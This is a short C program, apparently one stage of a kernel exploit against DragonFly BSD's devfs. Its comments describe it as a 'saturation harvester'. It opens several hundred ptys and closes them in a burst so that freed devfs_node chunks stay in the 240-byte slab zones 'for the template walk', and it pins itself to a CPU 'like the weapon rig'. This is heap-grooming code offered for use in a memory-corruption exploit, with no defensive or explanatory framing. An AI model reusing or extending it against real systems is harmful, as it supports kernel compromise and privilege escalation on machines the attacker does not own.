/* nodefree: panic-free devfs_node saturation harvester.
 * Opens a park of ptys, then closes them in a burst (objcache corner
 * case on both node and cdev caches -> kfree-direct into the slab
 * zones), WITHOUT any lstat victims, hammers or imaging: no race, no
 * panic.  Leaves hundreds of stale-intact freed devfs_node chunks in
 * the 240-byte zones for the template walk. */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/usched.h>

#ifndef USCHED_DEL_CPU
#define USCHED_DEL_CPU 3
#endif

int main(int argc, char **argv)
{
	int n = argc > 1 ? atoi(argv[1]) : 700;
	int *fds = calloc(n, sizeof(int));
	int i, got = 0;

	for (i = 0; i < 6; i++) {
		int c = 5;
		if (i == 5)
			c = 4;		/* placeholder, unused */
		(void)c;
	}
	/* pin to cpu0 like the weapon rig */
	{
		int c1 = 1;
		usched_set(0, USCHED_DEL_CPU, &c1, sizeof(c1));
	}
	for (i = 0; i < n; i++) {
		int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd < 0)
			break;
		fds[got++] = fd;
	}
	printf("parked %d\n", got);
	/* burst close: saturation frees */
	for (i = got - 1; i >= 0; i--)
		close(fds[i]);
	printf("drained %d\n", got);
	free(fds);
	return 0;
}